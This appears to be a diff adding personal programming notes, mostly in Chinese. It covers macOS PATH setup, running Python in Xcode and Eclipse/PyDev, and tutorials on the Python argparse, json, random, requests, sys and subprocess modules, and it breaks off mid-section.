+/Library/Frameworks/Mono.framework/Versions/Current/Commands: +/Applications/Wireshark.app/Contents/MacOS:/Applications/Xamarin Workbooks.app/Contents/SharedSupport/path-bin: +.: +/usr/local/mysql/bin + +分号(:)是分隔的意思 +当你在terminal里面输入brew时 +系统就会开始从/usr/bin找起 +如果在/usr/bin里面找不到的话 +就会往下一个/bin去搜寻,以此类推 + +现在,我们回到文件夹去看 +brew其实就在/usr/local/bin里面 +系统在/usr/bin里面也有一份Python +我们在/usr/local/Cellar里面也装了Python +这样在terminal打上python指令时,谁会被开启呢? + +因为路径有顺序,所以它会先找到系统的Python +现在就要来解决这个问题 + + +用emacs这个程序编辑路径档案 +sudo emacs /etc/paths +# 调整成这个顺序。 +/usr/local/bin +/usr/bin +/bin +/usr/sbin +/sbin + +control + k:把一行字剪下来 +control + y:把字粘贴 +control + x + s:存盘 +control + x + c:关掉emacs + + +重启terminal 会看到变化,再打一次 +echo $PATH +``` +--- + +1. 显示出本机python的安装路径,记录此路径。 + + J:~ luo$ which python + /usr/local/bin/python + +2. 打开xcode新建工程,选择OS X的other里的`External Build System`工程模板,键入工程名,在 Build Tool里输入刚刚记下python的安装路径。点击next即可。不要管弹出的的对话框。 + +3. 接下来在刚新建的项目里新建文件。选择 OS X里的Empty空文件,随便标示一个名字,注意文件名后面带后缀".py" + +4. 现在该来配置scheme了。依次点击工具栏的 Product -->Scheme --> Edit Scheme  + +5. 点击弹出来的页面的左侧的 Run。 + - 在 `info` 里 Build Configuration 选择 Debug + - `Exeutable` 里输入python的安装路径 (隐藏的路径,用组合键 shift + command + G,然后键入路径即可) + - 一般情况下 mac 系统的 `python` 是在 "/usr/bin/python " 或 " /usr/local/bin/python " 路径中。输入正确的路径,点 " GO " , 或者按回车键,这个时候,如果找到 python 的程序,你就会看到,然后选择 "Choose" ; + - 取消勾选  Debug executable + - or报错:Message from debugger: cannot attach to process due to System Integrity Protection + - 在 `Arguments` 里 + - Arguments Passed On Launch 里加入刚创建的 .py 文件 + - 名不能错,要不然后边会出现找不到 " main " 的错误; + - 在 `Options` 里 + - Working Directory 勾选 use custom working directory: 选择你新建的 .py 文件所在的目录。然后点击右下角的 " OK "; + +至此,所有配置已完成。可以在xcode里编译运行python文件了。 + +--- + +# Install Python and PyDev Plugin in Eclipse on MAC +Posted on August 11, 2019 by Ravi Dubey +https://devnetcode.com/2019/08/11/install-python-and-pydev-plugin-in-eclipse-on-mac/ + + +## Download and Install Python 3.7.4 +Step 1 – Download Python + +Go to URL – https://www.python.org/downloads/ and Click on “Download Python 3.7.4” to download python 3.7.4 + + +Step 2 – Double click on python-3.7.4-macosx10.9.pkg for installing the package + + +Step 3 – Click Continue + + +Step 4 – Click Continue Again + + +Step 5 – Agree with Terms of the software license agreement and click Agree + + +Step 6 – Click Install + + +Step 7 – Enter MAC OS Admin Password and click Install Software + + +Step 8 – Click Close + + +Step 9 – You can keep the installer OR move to trash + + +Now PyDev is installed, let’s move further and install Eclipse IDE + +## Download and Install Eclipse IDE +Step 10 – Go to eclipse.org and click on Download + +URL https://www.eclipse.org + + +Step 11 – Click Download 64 bit + + +Step 12 – Click again Download + + +In Progress – Starting Download + + +Step 13 – Double Click on the DMG file eclipse-inst-mac64.dmg + + +Step 14 – Click on Installer + + +Step 15 – Have a look on Security Warning and Click Open + + +Step 16 – Install Eclipse IDE for Java Developers + +Install the package”Eclipse IDE for Enterprise Java Developers”. + + +Step 17 – Check the installation folder location and click Install + + +Step 18 – Trust these certificate (Checkbox) and click Accept Selected + + +Step 19 – Click Launch + + +Step 20 – Choose a workspace, where the project files will be stored and click Launch + + +Note – If you don’t see this popup OR you want to change the workspace + +Go to File → Switch Workspace → other + +Step 21 – Click on Configuration Setting (Have a look). Uncheck the bottom right if you don’t want to see the screen. Close this screen and + + +Install PyDev Plugin in Eclipse IDE +Note- + +You may need to install the latest Java JDK/JRE before installing PyDev. +Step 22 – Go to Help > Drop Down > Eclipse Marketplace + + +Step 23 – Search pydev and click Go + + +Step 24 – Click Install + + +Step 25 – Click Confirm > + + +Step 26 – Accept and click Finish + +Read the license and select I accept the terms of the license agreement. Then click Finish. + + +Step 27 – Trust these Certificate and click Accept Selected + +From version 5.9.0 onwards, PyDev is built with a certificate in the name of “Brainwy Software Ltda” (previously it used a self-signed certificate). + + +Step 28 – When being successfully installed, you need to restart Eclipse. Click on Restart Now. + +Step 29 – Click on Open Perspective (Right Side Corner). If you see PyDev on the Wizard window, it means that PyDev has been successfully installed on Eclipse. + +Select PyDev > Click Open + + +Create Eclipse Python Project, Package And Module In PyDev. +After successfully install the eclipse PyDev plugin, you can now use it to create a python project. + +Step 30 – Right Click on- PyDev Package Explorer – New > Project + + +Step 31 – Select PyDev and click Open + + +Configuring Interpreter + +Step 32 – Select Grammar Version – 3.6 and Click on Please configure an interpreter before proceeding + +Python Interpreter is an interpreter used to translate Python code (written by programmer) into computer code. You need to declare it to Eclipse. + +How do you know if an interpreter is not correctly configured? + +You will see error once you write Project Name “Project Interpreter not specified” (See Top Message) + +Reason for this Error – No interpreter setting. And MAC OS will use the default which is 2.7.4- Shown in Step 2 + +PyDev Project settings dialog popup. In this dialog, you should select the project directory, input project name, and most importantly you need to configure an interpreter for the PyDev project. + + +Step 33 – Click on Manual Config + +Just click the blue link under the Interpreter section in above dialog. A configure interpreter dialog will popup like below. + + +Step 34 – Click Choose from the list, Select python3.7, Click OK + +These are the location of file python.exe. The file is in the Python directory that you have already installed. + + +Step 35 – Click OK again + +In the next popup dialog, select all the libraries that you want to add to the system python path. Click OK button to complete the PyDev project creation. + + +Step 36 – Apply and Close + + +Step 37 – Click Finish + + +Step 38 – Project Explorer > Right Click > Click on New > PyDev Module + + +Step 39 – Enter the name of the module “helloworld” and click Finish + + +Step 40 – Click OK + + +Step 41 – Click OK + + +Now the helloworld python module has been created. + +Write your first program – Hello World +Step 53 – Type print (“Hello World”) in the code and print command > Run (Top Left) and Check the Console (Bottom). Alternatively – Right click the python file source code, click Run As —> Python Run menu item, then the python file will be executed. + + +Alternative – Run the command + + +Wow !! Your first program – “Hello World” is working now. diff --git a/_posts/00CodeNote/language/Python/other/0.04.3.ModuleExample.md b/_posts/00CodeNote/language/Python/other/0.04.3.ModuleExample.md new file mode 100644 index 00000000000..bf22deecf5e --- /dev/null +++ b/_posts/00CodeNote/language/Python/other/0.04.3.ModuleExample.md @@ -0,0 +1,1336 @@ +# module + +[toc] + +--- + + +# module `Argparse` + +Python 标准库中推荐的命令行解析模块。 +- 还有另外两个模块可以完成同样的任务,称为 `getopt` (对应于 C 语言中的 `getopt()` 函数) 和被弃用的 `optparse` +- `argparse` 是基于 `optparse` 的,因此用法与其非常相似。 + +```py +# prog.py +import argparse +parser = argparse.ArgumentParser() +parser.parse_args() +``` + +该代码的运行结果: + +```c +$ python3 prog.py +// 在没有任何选项的情况下运行脚本不会在标准输出显示任何内容。没有什么用处。 + +$ python3 prog.py --help +// 开始展现出 argparse 模块的作用。 +// 几乎什么也没有做,但已经得到一条很好的帮助信息。 +// --help 选项 -h,是唯一一个可以直接使用的选项(即不需要指定该选项的内容) +usage: prog.py [-h] +optional arguments: + -h, --help show this help message and exit + +// 指定任何内容都会导致错误 +$ python3 prog.py --verbose +usage: prog.py [-h] +prog.py: error: unrecognized arguments: --verbose + +$ python3 prog.py foo +usage: prog.py [-h] +prog.py: error: unrecognized arguments: foo +``` + +1. 位置参数介绍 + +```py +import argparse +parser = argparse.ArgumentParser() +# 增加了 add_argument() 方法, 指定程序能够接受哪些命令行选项 +parser.add_argument("echo") +args = parser.parse_args() + +print(args.echo) +``` + +```c +// 现在调用程序必须要指定一个选项。 +$ python3 prog.py +usage: prog.py [-h] echo +prog.py: error: the following arguments are required: echo + +$ python3 prog.py --help +usage: prog.py [-h] echo +positional arguments: + echo +optional arguments: + -h, --help show this help message and exit + +$ python3 prog.py foo +foo +``` + +The `parse_args()` method actually returns some data from the options specified, in this case, echo. +- 这一变量是 argparse 免费施放的某种 “魔法”(即是说,不需要指定哪个变量是存储哪个值的)。你也可以注意到,这一名称与传递给方法的字符串参数一致,都是 echo。 + + +2. 加注解 +知道 echo 是一个位置参数,但我们除了靠猜或者看源代码,没法知道它是用来干什么的。 + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("echo", help="echo the string you use here") +args = parser.parse_args() +print(args.echo) + +$ python3 prog.py -h +usage: prog.py [-h] echo +positional arguments: + echo echo the string you use here +optional arguments: + -h, --help show this help message and exit +``` + +现在,来做一些更有用的事情: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", help="display a square of a given number") +args = parser.parse_args() +print(args.square**2) +``` +运行结果: + +```c +$ python3 prog.py 4 +Traceback (most recent call last): + File "prog.py", line 5, in + print(args.square**2) +TypeError: unsupported operand type(s) for ** or pow(): 'str' and 'int' + +// 进展不顺利是因为 argparse 会把传递的选项视作为字符串 +``` + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", help="display a square of a given number", + type=int) +args = parser.parse_args() +print(args.square**2) +``` + +运行结果: + +```c +$ python3 prog.py 4 +16 + +$ python3 prog.py four +usage: prog.py [-h] square +prog.py: error: argument square: invalid int value: 'four' +// 做得不错。当这个程序在收到错误的无效的输入时,它甚至能在执行计算之前先退出,还能显示很有帮助的错误信息。 +``` + +2. 可选参数介绍 +到目前为止,我们一直在研究位置参数。让我们看看如何添加可选的: + +```py +import argparse +parser = argparse.ArgumentParser() + +parser.add_argument("--verbosity", help="increase output verbosity") +args = parser.parse_args() + +if args.verbosity: + print("verbosity turned on") +`` + +和输出: + +```c +$ python3 prog.py --verbosity 1 +verbosity turned on + +$ python3 prog.py + +$ python3 prog.py --help +usage: prog.py [-h] [--verbosity VERBOSITY] +optional arguments: + -h, --help show this help message and exit + --verbosity VERBOSITY + increase output verbosity + +$ python3 prog.py --verbosity +usage: prog.py [-h] [--verbosity VERBOSITY] +prog.py: error: argument --verbosity: expected one argument +``` + +程序运行情况如下: + +- 这一程序被设计为当指定 --verbosity 选项时显示某些东西,否则不显示。 +- 不添加这一选项时程序没有提示任何错误而退出,表明这一选项确实是可选的。 +- 如果一个可选参数没有被使用时,相关变量被赋值为 None,在此例中是 args.verbosity,这也就是为什么它在 if 语句中被当作逻辑假。 + +帮助信息有点不同。 +- 使用 --verbosity 选项时,必须指定一个值,但可以是任何值。 +- 上述例子接受任何整数值作为 --verbosity 的参数,但对于我们的简单程序而言,只有两个值有实际意义:True 或者 False。让我们据此修改代码: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("--verbose", help="increase output verbosity", action="store_true") +args = parser.parse_args() + +if args.verbose: + print("verbosity turned on") +``` + +和输出: + +```c +$ python3 prog.py --verbose +verbosity turned on + +$ python3 prog.py --verbose 1 +usage: prog.py [-h] [--verbose] +prog.py: error: unrecognized arguments: 1 + +$ python3 prog.py --help +usage: prog.py [-h] [--verbose] +optional arguments: + -h, --help show this help message and exit + --verbose increase output verbosity + ``` + +程序运行情况如下: +- 现在,这一选项更多地是一个标志,而非需要接受一个值的什么东西。我们甚至改变了选项的名字来符合这一思路。注意我们现在指定了一个新的关键词 action,并赋值为 "store_true"。这意味着,当这一选项存在时,为 args.verbose 赋值为 True。没有指定时则隐含地赋值为 False。 +- 当你为其指定一个值时,它会报错,符合作为标志的真正的精神。 +- 不同的帮助文字。 + + +3. 短选项 + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("-v", "--verbose", help="increase output verbosity", + action="store_true") +args = parser.parse_args() +if args.verbose: + print("verbosity turned on") +``` +效果就像这样: +```c +$ python3 prog.py -v +verbosity turned on + +$ python3 prog.py --help +usage: prog.py [-h] [-v] +optional arguments: + -h, --help show this help message and exit + -v, --verbose increase output verbosity +``` + + +4. 结合位置参数和可选参数, 程序变得越来越复杂了: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", type=int,help="display a square of a given number") +parser.add_argument("-v", "--verbose", action="store_true", help="increase output verbosity") +args = parser.parse_args() + +answer = args.square**2 + +if args.verbose: + print("the square of {} equals {}".format(args.square, answer)) +else: + print(answer) +``` + +输出: + +```c +$ python3 prog.py +usage: prog.py [-h] [-v] square +prog.py: error: the following arguments are required: square + +$ python3 prog.py 4 +16 + +$ python3 prog.py 4 --verbose +the square of 4 equals 16 + +// 顺序无关紧要。 +$ python3 prog.py --verbose 4 +the square of 4 equals 16 +``` + +给我们的程序加上接受多个冗长度的值,然后实际来用用: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", type=int, help="display a square of a given number") +parser.add_argument("-v", "--verbosity", type=int, help="increase output verbosity") +args = parser.parse_args() + +answer = args.square**2 + +if args.verbosity == 2: + print("the square of {} equals {}".format(args.square, answer)) +elif args.verbosity == 1: + print("{}^2 == {}".format(args.square, answer)) +else: + print(answer) +``` +和输出: + +```c +$ python3 prog.py 4 +16 + +$ python3 prog.py 4 -v +usage: prog.py [-h] [-v VERBOSITY] square +prog.py: error: argument -v/--verbosity: expected one argument + +$ python3 prog.py 4 -v 1 +4^2 == 16 + +$ python3 prog.py 4 -v 2 +the square of 4 equals 16 + +$ python3 prog.py 4 -v 3 +16 +``` + +最后一个暴露了我们的程序中有一个 bug。 +可以通过限制 --verbosity 选项可以接受的值来修复: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", type=int, help="display a square of a given number") +parser.add_argument("-v", "--verbosity", type=int, choices=[0, 1, 2], help="increase output verbosity") +args = parser.parse_args() + +answer = args.square**2 + +if args.verbosity == 2: + print("the square of {} equals {}".format(args.square, answer)) +elif args.verbosity == 1: + print("{}^2 == {}".format(args.square, answer)) +else: + print(answer) +``` + +和输出: + +```c +$ python3 prog.py 4 -v 3 +usage: prog.py [-h] [-v {0,1,2}] square +prog.py: error: argument -v/--verbosity: invalid choice: 3 (choose from 0, 1, 2) + +$ python3 prog.py 4 -h +usage: prog.py [-h] [-v {0,1,2}] square +positional arguments: + square display a square of a given number +optional arguments: + -h, --help show this help message and exit + -v {0,1,2}, --verbosity {0,1,2} + increase output verbosity +``` + +使用另一种的方式来改变冗长度。 +这种方式更常见,也和 CPython 的可执行文件处理它自己的冗长度参数的方式一致(参考 python --help 的输出): + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", type=int, help="display the square of a given number") +parser.add_argument("-v", "--verbosity", action="count", help="increase output verbosity") +args = parser.parse_args() + +answer = args.square**2 + +if args.verbosity == 2: + print("the square of {} equals {}".format(args.square, answer)) +elif args.verbosity == 1: + print("{}^2 == {}".format(args.square, answer)) +else: + print(answer) +``` + +引入动作 count,来数某一个可选参数出现了几次: + +```c +$ python3 prog.py 4 +16 + +$ python3 prog.py 4 -v +4^2 == 16 + +$ python3 prog.py 4 -vv +the square of 4 equals 16 + +$ python3 prog.py 4 --verbosity --verbosity +the square of 4 equals 16 + +$ python3 prog.py 4 -v 1 +usage: prog.py [-h] [-v] square +prog.py: error: unrecognized arguments: 1 + +$ python3 prog.py 4 -h +usage: prog.py [-h] [-v] square +positional arguments: + square display a square of a given number +optional arguments: + -h, --help show this help message and exit + -v, --verbosity increase output verbosity + +$ python3 prog.py 4 -vvv +16 +``` + +是的,它现在比前一版本更像是一个标志(和 action="store_true" 相似)。这能解释它为什么报错。 + +它也表现得与 “store_true” 的行为相似。 + +这给出了一个关于 count 动作的效果的演示。你之前很可能应该已经看过这种用法。 + +如果你不添加 -v 标志,这一标志的值会是 None。 + +如期望的那样,添加该标志的长形态能够获得相同的输出。 + +可惜的是,对于我们的脚本获得的新能力,我们的帮助输出并没有提供很多信息,但我们总是可以通过改善文档来修复这一问题(比如通过 help 关键字参数)。 + +最后一个输出暴露了我们程序中的一个 bug。修复一下: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", type=int, help="display a square of a given number") +parser.add_argument("-v", "--verbosity", action="count", help="increase output verbosity") +args = parser.parse_args() + +answer = args.square**2 + +# bugfix: replace == with >= +if args.verbosity >= 2: + print("the square of {} equals {}".format(args.square, answer)) +elif args.verbosity >= 1: + print("{}^2 == {}".format(args.square, answer)) +else: + print(answer) +``` + +输出: + +```c +$ python3 prog.py 4 -vvv +the square of 4 equals 16 + +$ python3 prog.py 4 -vvvv +the square of 4 equals 16 + +$ python3 prog.py 4 +Traceback (most recent call last): + File "prog.py", line 11, in + if args.verbosity >= 2: +``` + +第三组输出并不理想。修复那个 bug: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("square", type=int, help="display a square of a given number") +parser.add_argument("-v", "--verbosity", action="count", default=0, help="increase output verbosity") +args = parser.parse_args() + +answer = args.square**2 + +if args.verbosity >= 2: + print("the square of {} equals {}".format(args.square, answer)) +elif args.verbosity >= 1: + print("{}^2 == {}".format(args.square, answer)) +else: + print(answer) +``` + +引入关键字 default。设置为 0 来让它可以与其他整数值相互比较。 +默认情况下如果一个可选参数没有被指定,它的值会是 None,并且它不能和整数值相比较(所以产生了 TypeError 异常)。 + +然后: + +```c +$ python3 prog.py 4 +16 +``` +凭借我们目前已学的东西你就可以做到许多事情,而我们还仅仅学了一些皮毛而已。 argparse 模块是非常强大的,在结束篇教程之前我们将再探索更多一些内容。 + + +5. 进行一些小小的改进 + +如果我们想扩展我们的简短程序来执行其他幂次的运算,而不仅是乘方: + +```py +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("x", type=int, help="the base") +parser.add_argument("y", type=int, help="the exponent") +parser.add_argument("-v", "--verbosity", action="count", default=0) +args = parser.parse_args() + +answer = args.x**args.y + +if args.verbosity >= 2: + print("{} to the power {} equals {}".format(args.x, args.y, answer)) +elif args.verbosity >= 1: + print("{}^{} == {}".format(args.x, args.y, answer)) +else: + print(answer) + +# 输出: + +$ python3 prog.py +usage: prog.py [-h] [-v] x y +prog.py: error: the following arguments are required: x, y + +$ python3 prog.py 4 2 -v +4^2 == 16 + + + +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("x", type=int, help="the base") +parser.add_argument("y", type=int, help="the exponent") +parser.add_argument("-v", "--verbosity", action="count", default=0) +args = parser.parse_args() +answer = args.x**args.y +if args.verbosity >= 2: + print("Running '{}'".format(__file__)) +if args.verbosity >= 1: + print("{}^{} == ".format(args.x, args.y), end="") +print(answer) + +输出: + +$ python3 prog.py 4 2 +16 +$ python3 prog.py 4 2 -v +4^2 == 16 +$ python3 prog.py 4 2 -vv +Running 'prog.py' +4^2 == 16 +``` + + + +6. 矛盾的选项 + +到目前为止,我们一直在使用 argparse.ArgumentParser 实例的两个方法。 让我们再介绍第三个方法 `add_mutually_exclusive_group()`。 +它允许我们指定彼此相互冲突的选项。 让我们再更改程序的其余部分以便使用新功能更有意义:我们将引入 `--quiet` 选项,它将与 `--verbose` 正好相反: + +```py +import argparse + +parser = argparse.ArgumentParser() +group = parser.add_mutually_exclusive_group() +group.add_argument("-v", "--verbose", action="store_true") +group.add_argument("-q", "--quiet", action="store_true") +parser.add_argument("x", type=int, help="the base") +parser.add_argument("y", type=int, help="the exponent") +args = parser.parse_args() +answer = args.x**args.y + +if args.quiet: + print(answer) +elif args.verbose: + print("{} to the power {} equals {}".format(args.x, args.y, answer)) +else: + print("{}^{} == {}".format(args.x, args.y, answer)) + +我们的程序现在变得更简洁了,我们出于演示需要略去了一些功能。 无论如何,输出是这样的: + +$ python3 prog.py 4 2 +4^2 == 16 + +$ python3 prog.py 4 2 -q +16 + +$ python3 prog.py 4 2 -v +4 to the power 2 equals 16 + +$ python3 prog.py 4 2 -vq +usage: prog.py [-h] [-v | -q] x y +prog.py: error: argument -q/--quiet: not allowed with argument -v/--verbose + +$ python3 prog.py 4 2 -v --quiet +usage: prog.py [-h] [-v | -q] x y +prog.py: error: argument -q/--quiet: not allowed with argument -v/--verbose +``` + +这应该很容易理解。 我添加了末尾的输出这样你就可以看到其所达到的灵活性,即混合使用长和短两种形式的选项。 + + +后记 +除了这里显示的内容,argparse 模块还提供了更多功能。 它的文档相当详细和完整,包含大量示例。 完成这个教程之后,你应该能毫不困难地阅读该文档。 + + + +--- + + +# module `json` + +- `json.loads(a_string)`: takes a string as input and produces a python object (a dictionary or a list) as output. +- `json.dumps(obj)`: inverse of `loads()`. It takes a python object, typically a dictionary or a list, and returns a string, in JSON format. + - It has a few other parameters. + - Two useful parameters are `sort_keys` and `indent`. + - `sort_keys parameter=True`: the keys of dictionaries are output in alphabetic order with their values. + - `indent` parameter: an integer. + +```py + +1. some data from Apple’s iTunes, in the JSON format: + + import json + + a_string = '\n\n\n{\n "resultCount":25,\n "results": [\n{"wrapperType":"track", "kind":"podcast", "collectionId":10892}]}' + print(a_string) + # + { + "resultCount":25, + "results": [ + {"wrapperType":"track", "kind":"podcast", "collectionId":10892}]} + + b_string = json.loads(a_string) + + print(b_string) + # {'resultCount': 25, 'results': [{'wrapperType': 'track', 'kind': 'podcast', 'collectionId': 10892}]} + + print(type(b_string)) # + + print(b_string.keys()) + # ['resultCount', 'results'] + + print(b_string['resultCount']) + # 25 + print(a_string['resultCount']) + # TypeError: string indices must be integers, not str on line 10 + + +2. uses json.dumps to make a human-readable printout of a nested data structure. + + import json + + def pretty(obj): + return json.dumps(obj, sort_keys=True, indent=2) + + d = {'key1': {'c': True, 'a': 90, '5': 50}, 'key2':{'b': 3, 'c': "yes"}} + + print(d) + {'key1': {'c': True, 'a': 90, '5': 50}, 'key2': {'c': 'yes', 'b': 3}} + + print(pretty(d)) + {"key1":{"5":50,"a":90,"c":true},"key2":{"b":3,"c":"yes"}} + +``` + +1. Using `json.dump()` and `json.load()` + + +`json.dump(data, file)` + +`json.load(file)` + + +```py +import json + +numbers = [2, 3, 5, 7, 11, 13] +filename = 'numbers.json' + +with open(filename, 'w') as f: + json.dump(numbers, f) + +with open(filename) as f: + numbers = json.load(f) + +print(numbers) +``` + +2. Saving and Reading User-Generated Data + +```py +import json + +username = input("What is your name? ") + +filename = 'usernamefile.json' +try: + with open(filename) as f: + username = json.load(f) +except FileNotFoundError: + username = input("What is your name? ") y + with open(filename, 'w') as f: + json.dump(username, f) + print(f"We'll remember you when you come back, {username}!") +else: + print(f"Welcome back, {username}!") + +``` + + +## Refactoring + +```py +import json + +def get_stored_username(): + filename = 'username.json' try: + with open(filename) as f: + username = json.load(f) + except FileNotFoundError: + return None + else: + return username + +def get_new_username(): + username = input("What is your name? ") + filename = 'username.json' + with open(filename, 'w') as f: + json.dump(username, f) + return username + +def greet_user(): + username = get_stored_username() + if username: + print(f"Welcome back, {username}!") + else: + username = get_new_username() + print(f"We'll remember you when you come back, {username}!") + +greet_user() + +``` + + + +--- + +# module `random` +use random numbers in programs: +- when computer needs to throw some dice, pick a number, or flip a coin +- To shuffle a deck of playing cards randomly, +- To randomly allow a new enemy spaceship to appear and shoot at you, +- To simulate possible rainfall when we make a computerized model for estimating the environmental impact of building a dam, +- For encrypting your banking session on the Internet. + +random number generators are based on a `deterministic algorithm` — repeatable and predictable. +- So they’re called `pseudo-random generators`, not genuinely random. +- computers don’t really generate random numbers, they generate pseudo-random numbers. +- They start with a seed value. get number based on the current seed attribute, and the state of the seed (which is one of the attributes of the generator) will be updated. +- each time run the program, the seed value is likely to be different. + + +1. `random()` function: + - returns a floating point number in the range [0.0, 1.0) + - the square bracket means “closed interval on the left” and the round parenthesis means “open interval on the right”. + +```py +import random + +1. return an float + + a = random.random() + +2. return an int, [1,2,3,4,5,6] + + a = random.randrange(1,7) + +3. generates a random number between min and max (inclusive) + + and_number = random.randint(1, 10) + print('Random number between 1 and 10: {}'.format(rand_number)) + +4. selects a random item from the list L. random.choice(L) + + letters = [letter for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'] + rand_letter = random.choice(letters) + print('Random letter: {}'.format(rand_letter)) +``` + +--- + +# module `requests` + +Response object has only two attributes and one method. + +```py + +import requests + +page=requests.get("https://api.datamuse.com/words?rel_rhy=funny") +print(type(page)) + + + +``` + +The `.text` attribute: the contents of the file or other information available from the url (or sometimes an error message). + +```py +print(page.text[:150]) # print the first 150 characters +``` + +The `.url` attribute. + +```py +print(page.url) # print the url that was fetched +``` + +requests.get takes an optional second parameter: +- to add some characters to the end of the base url that is the first parameter. +- The .url attribute displays the full url that was generated from the input parameters. It can be helpful for debugging purposes; you can print out the URL, paste it into a browser, and see exactly what was returned. + +The `.json()` method: converts text into a python list or dictionary, by passing the contents of the `.text `attribute to the `jsons.loads` function. + +```py +x = page.json() # turn page.text into a python object +``` + +The `.status_code` attribute. +- When a server thinks that it is sending back what was requested, it sends the code 200. +- When the requested page doesn’t exist, it sends back code 404, which is sometimes described as “File Not Found”. +- When the page has moved to a different location, it sends back code 301 and a different URL where the client is supposed to retrieve from. In the full implementation of the requests module, the get function is so smart that when it gets a 301, it looks at the new url and fetches it. For example, github redirects all requests using http to the corresponding page using https (the secure http protocol). Thus, when we ask for https://github.com/presnick/runestone, github sends back a 301 code and the url https://github.com/presnick/runestone. The requests.get function then fetches the other url. It reports a status of 200 and the updated url. We have to do further inquire to find out that a redirection occurred (see below). + +The `.headers` attribute has as its value a dictionary consisting of keys and values. To find out all the headers, you can run the code and add a statement `print(p.headers.keys())`. One of the headers is ‘Content-type’. Some possible values are text/html; charset-utf-8 and application/json; charset=utf-8. + +The `.history` attribute: contains a list of previous responses, if there were redirects. + + +--- + +# module `sys` + +`sys.argv[]` 返回 脚本本身的名字 + 给定脚本的参数 + +- python脚本中最常用的一个函数. + - 就是将程序本身和给程序参数返回一个list, list中的索引为0的就是程序本身. + 因此,里面的给sys.argv的参数就是list索引. + - 了解shell脚本编程的可以这样理解这些参数: + - `sys.argv[0]` 就是shell 脚本中的basename + - `sys.argv[1]`....就是shell中的$1,$2..... + +```py +# 实例一test01.py: +>>> import sys # 导入 sys模块 + +>>> print(sys.argv[0]) # 打印 sys.argv 的第0个参数 + +# 运行脚本: 给参数,1个或更多都行. 1 2 a b +>>> python test.py 1 2 a b c,d + +>>> print(sys.argv[0]) # 打印 sys.argv 的第0个参数 +test.py # 显示当前脚本名, sys.argv[0] 返回是的脚本 +>>> print(sys.argv[1]) # 打印sys.argv的第1个参数 +1 # sys.argv[1] 返回是第一个参数的值 +``` + +sys.argv也支持python字符串中的切片: + + +```py +>>> import sys # 导入 sys模块 +>>> for i in sys.argv: + print(i) + +# 运行脚本: 给参数,1个或更多都行. 1 2 a b +>>> python test01.py 1 2 a b c,d + +test.py +1 +2 +a +b +c,d + +>>> print(sys.argv[1:]) # 打印sys.argv的第1个参数及其以后所有参数 +['1', '2', 'a', 'b', 'c,d'] # 返回的值是一个list +>>> print(sys.argv[1:3]) # 返回的值是一个list +['1', '2'] +>>> print(sys.argv[1:5:2]) +['1', 'a'] +>>> print(sys.argv[-1]) +c,d +>>> print(sys.argv[::-1]) +['c,d', 'b', 'a', '2', '1', 'test.py'] +``` + +二、解决问题: + +sys.argv[-1]返回的是调用test.py后紧跟的所有参数中最后一个,是一个字符串 + + +--- + +# module subprocess + +subprocess 模块首先推荐使用的是它的 run 方法,更高级的用法可以直接使用 Popen 接口。 + +**run 方法语法** + +```c +subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None) +``` + +- `args`:表示要执行的命令。必须是一个字符串,字符串参数列表。 +- `stdin、stdout 和 stderr`:子进程的标准输入、输出和错误。其值可以是 `subprocess.PIP`E、`subprocess.DEVNULL`、一个已经存在的文件描述符、已经打开的文件对象或者 None。 + - subprocess.PIPE 表示为子进程创建新的管道。 + - subprocess.DEVNULL 表示使用 os.devnull。默认使用的是 None,表示什么都不做。另外,stderr 可以合并到 stdout 里一起输出。 +- `timeout`:设置命令超时时间。如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired 异常。 +- `check`:如果该参数设置为 True,并且进程退出状态码不是 0,则弹 出 CalledProcessError 异常。 +- `encoding`: 如果指定了该参数,则 stdin、stdout 和 stderr 可以接收字符串数据,并以该编码方式编码。否则只接收 bytes 类型的数据。 +- `shell`:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。 + +run 方法调用方式返回 CompletedProcess 实例,和直接 Popen 差不多,实现是一样的,实际也是调用 Popen,与 Popen 构造函数大致相同,例如: + +实例 + +```py +#执行ls -l /dev/null 命令 +>>> subprocess.run(["ls", "-l", "/dev/null"]) +crw-rw-rw- 1 root wheel 3, 2 5 4 13:34 /dev/null +CompletedProcess(args=['ls', '-l', '/dev/null'], returncode=0) +``` + +returncode: 执行完子进程状态,通常返回状态为0则表明它已经运行完毕,若值为负值 "-N",表明子进程被终。 + +简单实例: + +实例 + +```py +import subprocess +def runcmd(command): + ret = subprocess.run(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,encoding="utf-8",timeout=1) + if ret.returncode == 0: + print("success:",ret) + else: + print("error:",ret) + + +runcmd(["dir","/b"])#序列参数 +runcmd("exit 1")#字符串参数 +``` + +输出结果如下: +```c +success: CompletedProcess(args=['dir', '/b'], returncode=0, stdout='test.py\n', stderr='') +error: CompletedProcess(args='exit 1', returncode=1, stdout='', stderr='') +``` + +**Popen() 方法** + +Popen 是 subprocess的核心,子进程的创建和管理都靠它处理。 + +构造函数: +```c +class subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None, +preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=False, +startupinfo=None, creationflags=0,restore_signals=True, start_new_session=False, pass_fds=(), +*, encoding=None, errors=None) +``` + +常用参数: + +- args:shell命令,可以是字符串或者序列类型(如:list,元组) +- bufsize:缓冲区大小。当创建标准流的管道对象时使用,默认-1。 + - 0:不使用缓冲区 + - 1:表示行缓冲,仅当universal_newlines=True时可用,也就是文本模式 + - 